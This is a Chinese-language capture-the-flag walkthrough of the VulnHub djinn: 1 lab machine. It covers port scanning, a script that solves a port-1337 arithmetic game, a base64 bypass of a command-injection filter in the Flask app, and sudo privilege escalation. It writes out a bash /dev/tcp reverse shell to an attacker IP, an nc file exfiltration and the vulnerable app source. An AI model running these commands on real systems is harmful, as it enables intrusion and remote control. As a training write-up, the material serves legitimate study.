靶机地址
https://www.vulnhub.com/entry/djinn-1,397/
靶机测试
信息收集
nmap扫描
nmap -p- -A 192.168.1.106 -oA dj


通过 nmap 扫描得到
21 端口 可以匿名访问
22 端口 ssh 但是被过滤了 1
337 是一个游戏端口
7331 是 python web
测试 1337 端口
访问端口
nc -vv 192.168.0.177 1337

这里得知需要计算1000次
编写python脚本
# coding:utf-8
import logging
import telnetlib
import time
import re
def main():
try:
tn = telnetlib.Telnet('192.168.1.106', port=1337)
except:
logging.warning("errr")
time.sleep(0.5)
loop = 1
while loop < 1002:
data = tn.read_very_eager().decode('ascii')
print(data)
res = re.search('(.*?)\s>', data).group(1)
datas = str(calc(res)).strip()
print(str(loop) + ":" + datas)
loop = loop + 1
tn.write(datas.encode('ascii') + b"\n")
time.sleep(0.1)
data = tn.read_very_eager().decode('ascii')
return data
def calc(res):
res_str = res.strip('(').strip(")").replace("'", "")
muns = res_str.split(',')
munber1 = muns[0].strip()
orperator = muns[1].strip()
munber2 = muns[2].strip()
res = eval(munber1 + orperator + munber2)
return res
print(main())
测试结果

得到数字 1356 6784 3409
暗语开启 ssh
1356,6784,3409 ssh 使用暗语过滤 knockd 开启
安装Knockd,打开SSH:
apt install knockd

ftp 信息获取
匿名访问获取信息
ftp 192.168.1.106
下载文件

查看内容

creds.txt 凭据
nitu:81299
game.txt oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize.
翻译 哦,我忘了告诉你我在 1337 号港口为你准备了一个游戏。看看你能不能找到最后一关拿到奖品。
message.txt @nitish81299 I am going on holidays for few days, please take care of all the work. And don't mess up anything.
翻译 @nitish81299 我要去度假几天,请照顾好所有的工作。别搞砸了。
测试 pythonweb
获取主页信息
发现是一个 WEB 主页

目录扫描
gobuster dir -u http://192.168.0.177:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t
100

命令执行漏洞
页面存在命令执行漏洞
http://192.168.1.106:7331/wish


信息会返回在 url 上和源码上。
测试其他语句
发现会被拦截
burpsuite 测试拦截字符

拦截 $ * . / : ?^ !" 这些字符
绕过命令执行漏洞
echo "cat /etc/passwd" | base64
Y2F0IC9ldGMvcGFzc3dkCg==
echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d | bash
使用 base64 即可绕过

反弹 shell
bash -i >& /dev/tcp/192.168.1.53/9001 0>&1
编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvOTAwMSAwPiYxCg== 解密执行
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvOTAwMSAwPiYxCg==" | base64-d |bash

切换 python shell
python -c 'import pty;pty.spawn("/bin/bash")'

分析 pythonweb

import subprocess
from flask import Flask, redirect, render_template, request, url_for
app = Flask(__name__)
app.secret_key = "key"
CREDS = "/home/nitish/.dev/creds.txt"
RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]
def validate(cmd):
if CREDS in cmd and "cat" not in cmd:
return True
try:
for i in RCE:
for j in cmd:
if i == j:
return False
return True
except Exception:
return False
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route("/wish", methods=['POST', "GET"])
def wish():
execute = request.form.get("cmd")
if execute:
if validate(execute):
output = subprocess.Popen(execute, shell=True,
stdout=subprocess.PIPE).stdout.read()
else:
output = "Wrong choice of words"
return redirect(url_for("genie", name=output))
else:
return render_template('wish.html')
@app.route('/genie', methods=['GET', 'POST'])
def genie():
if 'name' in request.args:
page = request.args.get('name')
else:
page = "It's not that hard"
return render_template('genie.html', file=page)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True)
这是 python flask 框架的 app.py 文件。
cmd 有参数进来就会执行 validate(execute)
if CREDS in cmd and "cat" not in cmd: return True vilidate
函数将传入来的字符串进行条件判断,如果满足以下条件等于 true 返回并且不会这些下面语句。creds 是一个字符串。/home/nitish/.dev/creds.txt
cmd=more+/home/nitish/.dev/creds.txt
成功执行 得到 txt 内容。也可以直接打开在 shell 里执行
cat /home/nitish/.dev/creds.txt
同样也是得到 nitish:p4ssw0rdStr3r0n9

登录 nitish
su nitish

得到第一个 user.txt

sudo 查看当前用户特权
sudo -l
ls -la /usr/bin/genie

分析 genie 文件
genie -h
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish
I know you've came to me bearing wishes in mind. So go ahead make your wishes.
positional arguments:
wish Enter your wish
optional arguments:
-h, --help show this help message and exit
-g, --god pass the wish to god
-p SHELL, --shell SHELL
Gives you shell
-e EXEC, --exec EXEC execute command
帮助文档告诉我们可以执行 shell 经过测试均不能执行。
man genie 发现一些隐藏描述

genie -cmd id
切换sh shell

获取 sam shell
sudo -u sam /usr/bin/genie -c id

查询 sam sudo 特权

发现可以不需要密码执行 root 用户下的/root/lago 文件
分析 lago 文件

这个文件 sam 用户无权限访问这个 lago 常用的分析方法无法使用。
pyc 文件
来到 sam 用户目录 /home/sam

nc 传送文件
nc -lp 9002 >1.pyc
nc 192.168.1.53 9002 <.pyc

pyc 反编译
uncompyle6 -o 1.py 1.pyc

反编译 成功后分析 1.py 文件
分析 1.py 文件
# uncompyle6 version 3.6.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.7.5 (default, Oct 27 2019, 15:43:29)
# [GCC 9.2.1 20191022]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 04:05:18
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! ' def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: ' s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time' def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?' print '1 - Be naughty' print '2 - Guess the number' print '3 - Read some damn files' print '4 - Work' choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!' else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
通过这份源码 可以判断与 root/lago 文件一样。

当 s 等于 num 会这些执行/bin/sh
获取 root 权限

得到 key


笑得甜的女人,将来的运气都不会太坏